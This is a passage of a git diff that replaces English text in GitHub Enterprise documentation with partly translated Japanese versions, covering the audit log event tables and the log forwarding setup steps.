-`business.update_member_repository_creation_permission` | A site admin restricts repository creation in organizations in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)."{% ifversion ghes %}
-`enterprise.config.lock_anonymous_git_access`   | A site admin locks anonymous Git read access to prevent repository admins from changing existing anonymous Git read access settings for repositories in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)."
-`enterprise.config.unlock_anonymous_git_access` | A site admin unlocks anonymous Git read access to allow repository admins to change existing anonymous Git read access settings for repositories in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)."{% endif %}
+| アクション                                                   | 説明                                                                                                                                                                                                                                                                                                                                              |
+| ------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion ghes > 3.0 or ghae %}
+| `business.advanced_security_policy_update`              | A site admin creates, updates, or removes a policy for {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)."{% endif %}
+| `business.clear_members_can_create_repos`               | サイトアドミンは、Enterprise 内の Organization でのリポジトリ作成の制限を解除します。 詳しい情報については、「[Enterprise でリポジトリ管理ポリシーを適用する](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)」を参照してください。{% ifversion ghes > 3.1 %}
+| `business.referrer_override_enable`                     | A site admin enables the referrer policy override. For more information, see "[Configuring the referrer policy for your enterprise](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)."                                                                                                     |
+| `business.referrer_override_disable`                    | A site admin disables the referrer policy override. For more information, see "[Configuring the referrer policy for your enterprise](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)."{% endif %}
+| `business.update_member_repository_creation_permission` | サイトアドミンは、Enterprise 内の Organization でのリポジトリの作成を制限します。 詳しい情報については、「[Enterprise でリポジトリ管理ポリシーを適用する](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)」を参照してください。{% ifversion ghes %}
+| `enterprise.config.lock_anonymous_git_access`           | サイトアドミンは匿名の Git 読み取りアクセスをロックして、リポジトリ管理者が Enterprise 内のリポジトリの既存の匿名 Git 読み取りアクセス設定を変更できないようにします。 詳しい情報については、「[Enterprise でリポジトリ管理ポリシーを適用する](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)」を参照してください。                                                                         |
+| `enterprise.config.unlock_anonymous_git_access`         | サイトアドミンは匿名 Git 読み取りアクセスのロックを解除して、リポジトリ管理者が Enterprise 内のリポジトリの既存の匿名 Git 読み取りアクセス設定を変更できるようにします。 詳しい情報については、「[Enterprise でリポジトリ管理ポリシーを適用する](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)」を参照してください。{% endif %}
 
 {% ifversion ghae %}
 
-## IP allow lists
+## IP 許可リスト
 
-Name                                 | Description
-------------------------------------:| -----------------------------------------------------------
-`ip_allow_list_entry.create`         | An IP address was added to an IP allow list.
-`ip_allow_list_entry.update`         | An IP address or its description was changed.
-`ip_allow_list_entry.destroy`        | An IP address was deleted from an IP allow list.
-`ip_allow_list.enable`               | An IP allow list was enabled.
-`ip_allow_list.enable_for_installed_apps` | An IP allow list was enabled for installed {% data variables.product.prodname_github_apps %}.
-`ip_allow_list.disable`              | An IP allow list was disabled.
-`ip_allow_list.disable_for_installed_apps` | An IP allow list was disabled for installed {% data variables.product.prodname_github_apps %}.
+|                                         名前 | 説明                                                                                      |
+| ------------------------------------------:| --------------------------------------------------------------------------------------- |
+|               `ip_allow_list_entry.create` | IP アドレスが IP 許可リストに追加されました。                                                              |
+|               `ip_allow_list_entry.update` | IP アドレスまたはその説明が変更されました。                                                                 |
+|              `ip_allow_list_entry.destroy` | IP アドレスが IP 許可リストから削除されました。                                                             |
+|                     `ip_allow_list.enable` | IP 許可リストが有効化されました。                                                                      |
+|  `ip_allow_list.enable_for_installed_apps` | インストールされている {% data variables.product.prodname_github_apps %} に対して IP 許可リストが有効化されました。 |
+|                    `ip_allow_list.disable` | IP 許可リストが無効化されました。                                                                      |
+| `ip_allow_list.disable_for_installed_apps` | インストールされている {% data variables.product.prodname_github_apps %} に対して IP 許可リストが無効化されました。 |
 
 {% endif %}
 
-## Issues
+## Issue
 
-Action                               | Description
------------------------------------- | -----------------------------------------------------------
-`issue.update`                       | An issue's body text (initial comment) changed.
-`issue_comment.update`               | A comment on an issue (other than the initial one) changed.
-`issue.destroy`                      | An issue was deleted from the repository. For more information, see "[Deleting an issue](/github/managing-your-work-on-github/deleting-an-issue)."
+| アクション                  | 説明                                                                                                                   |
+| ---------------------- | -------------------------------------------------------------------------------------------------------------------- |
+| `issue.update`         | Issue のテキスト本体（最初のコメント）が変更されました。                                                                                      |
+| `issue_comment.update` | Issue （最初以外）のコメントが変更されました。                                                                                           |
+| `issue.destroy`        | Issue がリポジトリから削除されました。 詳しい情報については、「[>Issue を削除する](/github/managing-your-work-on-github/deleting-an-issue)」を参照してください。 |
 
-## Organizations
+## Organization
 
-Action             | Description
------------------- | ----------------------------------------------------------
-`org.async_delete` | A user initiated a background job to delete an organization.
-`org.delete`       | An organization was deleted by a user-initiated background job.{% ifversion not ghae %}
-`org.transform`    | A user account was converted into an organization. For more information, see "[Converting a user into an organization](/github/setting-up-and-managing-your-github-user-account/converting-a-user-into-an-organization)."{% endif %}
+| アクション              | 説明                                                                                                                                                                                             |
+| ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `org.async_delete` | ユーザが Organization を削除するための背景ジョブを開始しました。                                                                                                                                                        |
+| `org.delete`       | ユーザが開始したバックグラウンドジョブによって Organization が削除されました。{% ifversion not ghae %}
+| `org.transform`    | ユーザアカウントが Organization へと変換されました。 詳しい情報については、「[ユーザを Organization に変換する](/github/setting-up-and-managing-your-github-user-account/converting-a-user-into-an-organization)」を参照してください。{% endif %}
 
-## Pull requests
+## プルリクエスト
 
-| Action | Description |
-| :- | :- |{% ifversion ghes > 3.1 or ghae %}
-| `pull_request.create` | A pull request was created. For more information, see "[Creating a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request)." |
-| `pull_request.close` | A pull request was closed without being merged. For more information, see "[Closing a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)." |
-| `pull_request.reopen` | A pull request was reopened after previously being closed. |
-| `pull_request.merge` | A pull request was merged. For more information, see "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)." |
-| `pull_request.indirect_merge` | A pull request was considered merged because the pull request's commits were merged into the target branch. |
-| `pull_request.ready_for_review` | A pull request was marked as ready for review. For more information, see "[Changing the stage of a pull request](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#marking-a-pull-request-as-ready-for-review)." |
-| `pull_request.converted_to_draft` | A pull request was converted to a draft. For more information, see "[Changing the stage of a pull request](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#converting-a-pull-request-to-a-draft)." |
-| `pull_request.create_review_request` | A review was requested on a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." |
-| `pull_request.remove_review_request` | A review request was removed from a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." |
-| `pull_request_review.submit` | A review was submitted for a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." |
-| `pull_request_review.dismiss` | A review on a pull request was dismissed. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)." |
-| `pull_request_review.delete` | A review on a pull request was deleted. |
-| `pull_request_review_comment.create` | A review comment was added to a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." |
-| `pull_request_review_comment.update` | A review comment on a pull request was changed. |{% endif %}
-| `pull_request_review_comment.delete` | A review comment on a pull request was deleted. |
+| Action | Description | | :- | :- |{% ifversion ghes > 3.1 or ghae %} | `pull_request.create` | A pull request was created. 詳しい情報については[プルリクエストの作成](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request)を参照してください。 | | `pull_request.close` | A pull request was closed without being merged. For more information, see "[Closing a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)." | | `pull_request.reopen` | A pull request was reopened after previously being closed. | | `pull_request.merge` | A pull request was merged. 詳しい情報については[プルリクエストのマージ](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)を参照してください。 | | `pull_request.indirect_merge` | A pull request was considered merged because the pull request's commits were merged into the target branch. | | `pull_request.ready_for_review` | A pull request was marked as ready for review. 詳しい情報については、「[プルリクエストのステージを変更する](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#marking-a-pull-request-as-ready-for-review)」を参照してください。 | | `pull_request.converted_to_draft` | A pull request was converted to a draft. 詳しい情報については、「[プルリクエストのステージを変更する](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#converting-a-pull-request-to-a-draft)」を参照してください。 | | `pull_request.create_review_request` | A review was requested on a pull request. 詳しい情報については、「[プルリクエストレビューについて](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)」を参照してください。 | | `pull_request.remove_review_request` | A review request was removed from a pull request. 詳しい情報については、「[プルリクエストレビューについて](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)」を参照してください。 | | `pull_request_review.submit` | A review was submitted for a pull request. 詳しい情報については、「[プルリクエストレビューについて](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)」を参照してください。 | | `pull_request_review.dismiss` | A review on a pull request was dismissed. 詳しい情報については[プルリクエストレビューの却下](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)を参照してください。 | | `pull_request_review.delete` | A review on a pull request was deleted. | | `pull_request_review_comment.create` | A review comment was added to a pull request. 詳しい情報については、「[プルリクエストレビューについて](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)」を参照してください。 | | `pull_request_review_comment.update` | A review comment on a pull request was changed. |{% endif %} | `pull_request_review_comment.delete` | A review comment on a pull request was deleted. |
 
-## Protected branches
+## 保護されたブランチ
 
-Action                     | Description
--------------------------- | ----------------------------------------------------------
-`protected_branch.create ` | Branch protection is enabled on a branch.
-`protected_branch.destroy` | Branch protection is disabled on a branch.
-`protected_branch.update_admin_enforced `            | Branch protection is enforced for repository administrators.
-`protected_branch.update_require_code_owner_review ` | Enforcement of required code owner review is updated on a branch.
-`protected_branch.dismiss_stale_reviews `   | Enforcement of dismissing stale pull requests is updated on a branch.
-`protected_branch.update_signature_requirement_enforcement_level `    | Enforcement of required commit signing is updated on a branch.
-`protected_branch.update_pull_request_reviews_enforcement_level `     | Enforcement of required pull request reviews is updated on a branch.
-`protected_branch.update_required_status_checks_enforcement_level `   | Enforcement of required status checks is updated on a branch.
-`protected_branch.rejected_ref_update `     | A branch update attempt is rejected.
-`protected_branch.policy_override `         | A branch protection requirement is overridden by a repository administrator.
+| アクション                                                              | 説明                                                                                             |
+| ------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------- |
+| `protected_branch.create`                                          | ブランチ保護がブランチで有効になっています。                                                                         |
+| `protected_branch.destroy`                                         | ブランチ保護がブランチで無効になっています。                                                                         |
+| `protected_branch.update_admin_enforced`                           | ブランチ保護がリポジトリ管理者に対して強制されます。                                                                     |
+| `protected_branch.update_require_code_owner_review`                | 必要なコードオーナーレビューの強制がブランチで更新されます。                                                                 |
+| `protected_branch.dismiss_stale_reviews`                           | 却下している古いプルリクエストの強制がブランチで更新されます。                                                                |
+| `protected_branch.update_signature_requirement_enforcement_level`  | 必要なコミット署名の強制がブランチで更新されます。                                                                      |
+| `protected_branch.update_pull_request_reviews_enforcement_level`   | 必要なプルリクエストレビューの強制がブランチで更新されます。 Can be one of `0`(deactivated), `1`(non-admins), `2`(everyone). |
+| `protected_branch.update_required_status_checks_enforcement_level` | 必要なステータスチェックの強制がブランチで更新されます。                                                                   |
+| `protected_branch.rejected_ref_update`                             | ブランチ更新の試行が拒否されます。                                                                              |
+| `protected_branch.policy_override`                                 | ブランチ保護の要件がリポジトリ管理者によってオーバーライドされます。                                                             |
 
-## Repositories
+## リポジトリ
 
-Action                | Description
---------------------- | -------------------------------------------------------
-`repo.access`         | The visibility of a repository changed to private{% ifversion ghes %}, public,{% endif %} or internal.
-`repo.archived`       | A repository was archived. For more information, see "[Archiving a {% data variables.product.prodname_dotcom %} repository](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)."
-`repo.add_member`     | A collaborator was added to a repository.
-`repo.config`         | A site admin blocked force pushes. For more information, see [Blocking force pushes to a repository](/enterprise/{{ currentVersion }}/admin/guides/developer-workflow/blocking-force-pushes-to-a-repository/) to a repository.
-`repo.create`         | A repository was created.
-`repo.destroy`        | A repository was deleted.
-`repo.remove_member`  | A collaborator was removed from a repository.
-`repo.rename`         | A repository was renamed.
-`repo.transfer`       | A user accepted a request to receive a transferred repository.
-`repo.transfer_start` | A user sent a request to transfer a repository to another user or organization.
-`repo.unarchived`     | A repository was unarchived. For more information, see "[Archiving a {% data variables.product.prodname_dotcom %} repository](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)."{% ifversion ghes %}
-`repo.config.disable_anonymous_git_access`| Anonymous Git read access is disabled for a repository. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)."
-`repo.config.enable_anonymous_git_access` | Anonymous Git read access is enabled for a repository. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)."
-`repo.config.lock_anonymous_git_access` | A repository's anonymous Git read access setting is locked, preventing repository administrators from changing (enabling or disabling) this setting. For more information, see "[Preventing users from changing anonymous Git read access](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)."
-`repo.config.unlock_anonymous_git_access` | A repository's anonymous Git read access setting is unlocked, allowing repository administrators to change (enable or disable) this setting. For more information, see "[Preventing users from changing anonymous Git read access](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)."{% endif %}
+| アクション                                      | 説明                                                                                                                                                                                                                                                                |
+| ------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `repo.access`                              | リポジトリの可視性がプライベート{% ifversion ghes %}、パブリック、{% endif %} または内部に変更されました。                                                                                                                                                                                             |
+| `repo.archived`                            | リポジトリがアーカイブされました。 詳しい情報については、「[{% data variables.product.prodname_dotcom %} のリポジトリをアーカイブする](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)」を参照してください。                                                                         |
+| `repo.add_member`                          | リポジトリにコラボレーターが追加されました。                                                                                                                                                                                                                                            |
+| `repo.config`                              | サイト管理者がフォースプッシュをブロックしました。 詳しくは、 [リポジトリへのフォースプッシュのブロック](/enterprise/{{ currentVersion }}/admin/guides/developer-workflow/blocking-force-pushes-to-a-repository/)を参照してください。                                                                                         |
+| `repo.create`                              | リポジトリが作成されました。                                                                                                                                                                                                                                                    |
+| `repo.destroy`                             | リポジトリが削除されました。                                                                                                                                                                                                                                                    |
+| `repo.remove_member`                       | コラボレーターがリポジトリから削除されました。                                                                                                                                                                                                                                           |
+| `repo.rename`                              | リポジトリの名前が変更されました。                                                                                                                                                                                                                                                 |
+| `repo.transfer`                            | ユーザーが転送されたリポジトリを受け取る要求を受け入れました。                                                                                                                                                                                                                                   |
+| `repo.transfer_start`                      | ユーザーがリポジトリを別のユーザーまたは Organization に転送する要求を送信しました。                                                                                                                                                                                                                 |
+| `repo.unarchived`                          | リポジトリがアーカイブ解除されました。 詳しい情報については、「[{% data variables.product.prodname_dotcom %} のリポジトリをアーカイブする](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)」を参照してください。{% ifversion ghes %}
+| `repo.config.disable_anonymous_git_access` | 匿名 Git 読み取りアクセスがリポジトリに対して無効になります。 詳細は「[リポジトリに対する匿名 Git 読み取りアクセスを有効化する](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)」を参照してください。                                                                             |
+| `repo.config.enable_anonymous_git_access`  | 匿名 Git 読み取りアクセスがリポジトリに対して有効になります。 詳細は「[リポジトリに対する匿名 Git 読み取りアクセスを有効化する](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)」を参照してください。                                                                             |
+| `repo.config.lock_anonymous_git_access`    | リポジトリの匿名 Git 読み取りアクセス設定がロックされているため、リポジトリ管理者はこの設定を変更 (有効化または無効化) できません。 詳しい情報については、「[ユーザによる匿名 Git 読み取りアクセスの変更を禁止する](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)」を参照してください。             |
+| `repo.config.unlock_anonymous_git_access`  | リポジトリの匿名 Git 読み取りアクセス設定がロック解除されているため、リポジトリ管理者はこの設定を変更 (有効化または無効化) できます。 詳しい情報については、「[ユーザによる匿名 Git 読み取りアクセスの変更を禁止する](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)」を参照してください。{% endif %}
 
-## Site admin tools
+## サイトアドミンのツール
 
-Action                        | Description
------------------------------ | -----------------------------------------------
-`staff.disable_repo`          | A site admin disabled access to a repository and all of its forks.
-`staff.enable_repo`           | A site admin re-enabled access to a repository and all of its forks.{% ifversion ghes > 3.2 %}
-`staff.exit_fake_login`       | A site admin ended an impersonation session on {% data variables.product.product_name %}.
-`staff.fake_login`            | A site admin signed into {% data variables.product.product_name %} as another user.{% endif %}
-`staff.repo_unlock`           | A site admin unlocked (temporarily gained full access to) one of a user's private repositories.
-`staff.unlock`                | A site admin unlocked (temporarily gained full access to) all of a user's private repositories.
+| アクション                   | 説明                                                                                             |
+| ----------------------- | ---------------------------------------------------------------------------------------------- |
+| `staff.disable_repo`    | サイトアドミンがリポジトリとその全てのフォークへのアクセスを無効にしました。                                                         |
+| `staff.enable_repo`     | A site admin re-enabled access to a repository and all of its forks.{% ifversion ghes > 3.2 %}
+| `staff.exit_fake_login` | A site admin ended an impersonation session on {% data variables.product.product_name %}.      |
+| `staff.fake_login`      | A site admin signed into {% data variables.product.product_name %} as another user.{% endif %}
+| `staff.repo_unlock`     | サイトアドミンがユーザのプライベートリポジトリを解除（一時的にフルアクセスが可能）しました。                                                 |
+| `staff.unlock`          | サイトアドミンがユーザの全てのプライベートリポジトリを解除（一時的にフルアクセスが可能）しました。                                              |
 
-## Teams
+## Team
 
-Action                            | Description
---------------------------------- | -------------------------------------------
-`team.create`                     | A user account or repository was added to a team.
-`team.delete`                     | A user account or repository was removed from a team.{% ifversion ghes or ghae %}
-`team.demote_maintainer`          | A user was demoted from a team maintainer to a team member.{% endif %}
-`team.destroy`                    | A team was deleted.{% ifversion ghes or ghae %}
-`team.promote_maintainer`         | A user was promoted from a team member to a team maintainer.{% endif %}
+| アクション                     | 説明                                                                                |
+| ------------------------- | --------------------------------------------------------------------------------- |
+| `team.create`             | ユーザアカウントまたはリポジトリが Team に追加されました。                                                  |
+| `team.delete`             | A user account or repository was removed from a team.{% ifversion ghes or ghae %}
+| `team.demote_maintainer`  | ユーザがチームメンテナからチームメンバーに降格されました。{% endif %}
+| `team.destroy`            | Team が削除されました。{% ifversion ghes or ghae %}
+| `team.promote_maintainer` | ユーザーがチームメンバーからチームメンテナに昇格しました。{% endif %}
 
-## Users
+## ユーザ
 
-Action                            | Description
---------------------------------- | -------------------------------------------
-`user.add_email`                  | An email address was added to a user account.
-`user.async_delete`               | An asynchronous job was started to destroy a user account, eventually triggering `user.delete`.{% ifversion ghes %}
-`user.change_password`            | A user changed his or her password.{% endif %}
-`user.create`                     | A new user account was created.
-`user.delete`                     | A user account was destroyed by an asynchronous job.
-`user.demote`                     | A site admin was demoted to an ordinary user account.
-`user.destroy`                    | A user deleted his or her account, triggering `user.async_delete`.{% ifversion ghes %}
-`user.failed_login`               | A user tried to sign in with an incorrect username, password, or two-factor authentication code.
-`user.forgot_password`            | A user requested a password reset via the sign-in page.{% endif %}
-`user.login`                      | A user signed in.{% ifversion ghes or ghae %}
-`user.mandatory_message_viewed`   | A user views a mandatory message (see "[Customizing user messages](/admin/user-management/customizing-user-messages-for-your-enterprise)" for details) | {% endif %}
-`user.promote`                    | An ordinary user account was promoted to a site admin.
-`user.remove_email`               | An email address was removed from a user account.
-`user.rename`                     | A username was changed.
-`user.suspend`                    | A user account was suspended by a site admin.{% ifversion ghes %}
-`user.two_factor_requested`       | A user was prompted for a two-factor authentication code.{% endif %}
-`user.unsuspend`                  | A user account was unsuspended by a site admin.
+| アクション                           | 説明                                                                                                                                            |
+| ------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------- |
+| `user.add_email`                | ユーザアカウントにメールアドレスが追加されました。                                                                                                                     |
+| `user.async_delete`             | ユーザアカウントを破棄する非同期ジョブが開始され、最終的に ` user.delete ` がトリガーされました。{% ifversion ghes %}
+| `user.change_password`          | ユーザがパスワードを変更しました。{% endif %}
+| `user.create`                   | 新規ユーザが作成されました。                                                                                                                                |
+| `user.delete`                   | ユーザアカウントが非同期的ジョブによって削除されました。                                                                                                                  |
+| `user.demote`                   | サイトアドミンが一般ユーザアカウントに変更されました。                                                                                                                   |
+| `user.destroy`                  | ユーザが自分のアカウントを削除し、`user.async_delete` をトリガーしました。{% ifversion ghes %}
+| `user.failed_login`             | ユーザが間違ったユーザネームやパスワード、または二段階認証コードでサインインしようとしました。                                                                                               |
+| `user.forgot_password`          | ユーザがサインインページでパスワードリセットを申請しました。{% endif %}
+| `user.login`                    | ユーザがサインインしました。{% ifversion ghes or ghae %}
+| `user.mandatory_message_viewed` | ユーザが必須メッセージを表示します（詳細については、「[ユーザメッセージをカスタマイズする](/admin/user-management/customizing-user-messages-for-your-enterprise)」を参照してください） | {% endif %}
+| `user.promote`                  | 一般ユーザアカウントがサイトアドミンへと変更されました。                                                                                                                  |
+| `user.remove_email`             | ユーザアカウントからメールアドレスが削除されました。                                                                                                                    |
+| `user.rename`                   | ユーザ名が変更されました。                                                                                                                                 |
+| `user.suspend`                  | A user account was suspended by a site admin.{% ifversion ghes %}
+| `user.two_factor_requested`     | ユーザが 2 要素認証コードを求められました。{% endif %}
+| `user.unsuspend`                | サイトアドミンがユーザアカウント停止を解除しました。                                                                                                                    |
 
 {% ifversion ghes > 3.1 or ghae %}
-## Workflows
+## ワークフロー
 
 {% data reusables.actions.actions-audit-events-workflow %}
 {% endif %}
+
+  [add key]: /articles/adding-a-new-ssh-key-to-your-github-account
+  [デプロイキー]: /guides/managing-deploy-keys/#deploy-keys
+  [generate token]: /articles/creating-an-access-token-for-command-line-use
+  [OAuth アクセストークン]: /developers/apps/authorizing-oauth-apps
+  [OAuth application]: /guides/basics-of-authentication/#registering-your-app
+  [OAuth アプリケーション]: /guides/basics-of-authentication/#registering-your-app
+  [2fa]: /articles/about-two-factor-authentication
+  [2fa]: /articles/about-two-factor-authentication
diff --git a/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md b/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md
index 7f6e8c800e..496032645c 100644
--- a/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md
+++ b/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md
@@ -1,6 +1,6 @@
 ---
-title: Log forwarding
-intro: '{% data variables.product.product_name %} uses `syslog-ng` to forward {% ifversion ghes %}system{% elsif ghae %}Git{% endif %} and application logs to the server you specify.'
+title: ログの転送
+intro: '{% data variables.product.product_name %} は `syslog-ng` を使用して、{% ifversion ghes %} システム {% elsif ghae %} Git{% endif %} とアプリケーションログを指定したサーバーに転送します。'
 redirect_from:
   - /enterprise/admin/articles/log-forwarding
   - /enterprise/admin/installation/log-forwarding
@@ -20,40 +20,33 @@ topics:
 
 ## About log forwarding
 
-Any log collection system that supports syslog-style log streams is supported (e.g., [Logstash](http://logstash.net/) and [Splunk](http://docs.splunk.com/Documentation/Splunk/latest/Data/Monitornetworkports)).
+syslog-style 式のログストリームに対応するログ回収システムは、サポートしています。（例えば、[Logstash](http://logstash.net/) や [Splunk](http://docs.splunk.com/Documentation/Splunk/latest/Data/Monitornetworkports)など）
 
 When you enable log forwarding, you must upload a CA certificate to encrypt communications between syslog endpoints. Your appliance and the remote syslog server will perform two-way SSL, each providing a certificate to the other and validating the certificate which is received.
 
-## Enabling log forwarding
+## ログの転送を有効化
 
 {% ifversion ghes %}
-1. On the {% data variables.enterprise.management_console %} settings page, in the left sidebar, click **Monitoring**.
-1. Select **Enable log forwarding**.
-1. In the **Server address** field, type the address of the server to which you want to forward logs. You can specify multiple addresses in a comma-separated list.
-1. In the Protocol drop-down menu, select the protocol to use to communicate with the log server. The protocol will apply to all specified log destinations.
-1. Optionally, select **Enable TLS**. We recommend enabling TLS according to your local security policies, especially if there are untrusted networks between the appliance and any remote log servers. 
-1. To encrypt communication between syslog endpoints, click **Choose File** and choose a CA certificate for the remote syslog server. You should upload a CA bundle containing a concatenation of the certificates of the CAs involved in signing the certificate of the remote log server. The entire certificate chain will be validated, and must terminate in a root certificate. For more information, see [TLS options in the syslog-ng documentation](https://support.oneidentity.com/technical-documents/syslog-ng-open-source-edition/3.16/administration-guide/56#TOPIC-956599).
+1. {% data variables.enterprise.management_console %}の設定ページの左サイドバーで**Monitoring**をクリックする。
+1. **Enable log forwarding** を選択する。
+1. [**Server address**] フィールドに、ログの転送先となるサーバーのアドレスを入力します。 コンマ区切りリストで複数のアドレスを指定できます。
+1. [Protocol] ドロップダウンメニューで、ログサーバーとの通信に使用するプロトコルを選択します。 そのプロトコルは指定されたすべてのログ送信先に適用されます。
+1. Optionally, select **Enable TLS**. We recommend enabling TLS according to your local security policies, especially if there are untrusted networks between the appliance and any remote log servers.
+1. To encrypt communication between syslog endpoints, click **Choose File** and choose a CA certificate for the remote syslog server. You should upload a CA bundle containing a concatenation of the certificates of the CAs involved in signing the certificate of the remote log server. 一連の証明書の全体が確認され、ルート証明書で終了しなければなりません。 詳しくは、[syslog-ng のドキュメントのTLSオプション](https://support.oneidentity.com/technical-documents/syslog-ng-open-source-edition/3.16/administration-guide/56#TOPIC-956599)を参照してください。
 {% elsif ghae %}
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
-1. Under {% octicon "gear" aria-label="The Settings gear" %} **Settings**, click **Log forwarding**.
-  ![Log forwarding tab](/assets/images/enterprise/business-accounts/log-forwarding-tab.png)
-1. Under "Log forwarding", select **Enable log forwarding**.
-  ![Checkbox to enable log forwarding](/assets/images/enterprise/business-accounts/enable-log-forwarding-checkbox.png)
-1. Under "Server address", enter the address of the server you want to forward logs to.
-  ![Server address field](/assets/images/enterprise/business-accounts/server-address-field.png)
-1. Use the "Protocol" drop-down menu, and select a protocol.
-  ![Protocol drop-down menu](/assets/images/enterprise/business-accounts/protocol-drop-down-menu.png)
-1. Optionally, to enable TLS encrypted communication between syslog endpoints, select **Enable TLS**.
-  ![Checkbox to enable TLS](/assets/images/enterprise/business-accounts/enable-tls-checkbox.png)
-1. Under "Public certificate", paste your x509 certificate.
-  ![Text box for public certificate](/assets/images/enterprise/business-accounts/public-certificate-text-box.png)
-1. Click **Save**.
-  ![Save button for log forwarding](/assets/images/enterprise/business-accounts/save-button-log-forwarding.png)
+1. {% octicon "gear" aria-label="The Settings gear" %} [**Settings**] の下で、[**Log forwarding**] をクリックします。 ![[Log forwarding] タブ](/assets/images/enterprise/business-accounts/log-forwarding-tab.png)
+1. [Log forwarding] の下で、[**Enable log forwarding**] を選択します。 ![ログ転送を有効にするチェックボックス](/assets/images/enterprise/business-accounts/enable-log-forwarding-checkbox.png)
+1. [Server address] の下に、ログを転送するサーバーのアドレスを入力します。 ![[Server address] フィールド](/assets/images/enterprise/business-accounts/server-address-field.png)
+1. [Protocol] ドロップダウンメニューを使用して、プロトコルを選択します。 ![[Protocol] ドロップダウンメニュー](/assets/images/enterprise/business-accounts/protocol-drop-down-menu.png)
+1. 必要に応じて、syslog エンドポイント間の TLS 暗号化通信を有効にするには、[**Enable TLS**] を選択します。 ![TLS を有効にするチェックボックス](/assets/images/enterprise/business-accounts/enable-tls-checkbox.png)
+1. [Public certificate] の下に、x509 証明書を貼り付けます。 ![公開証明書のテキストボックス](/assets/images/enterprise/business-accounts/public-certificate-text-box.png)
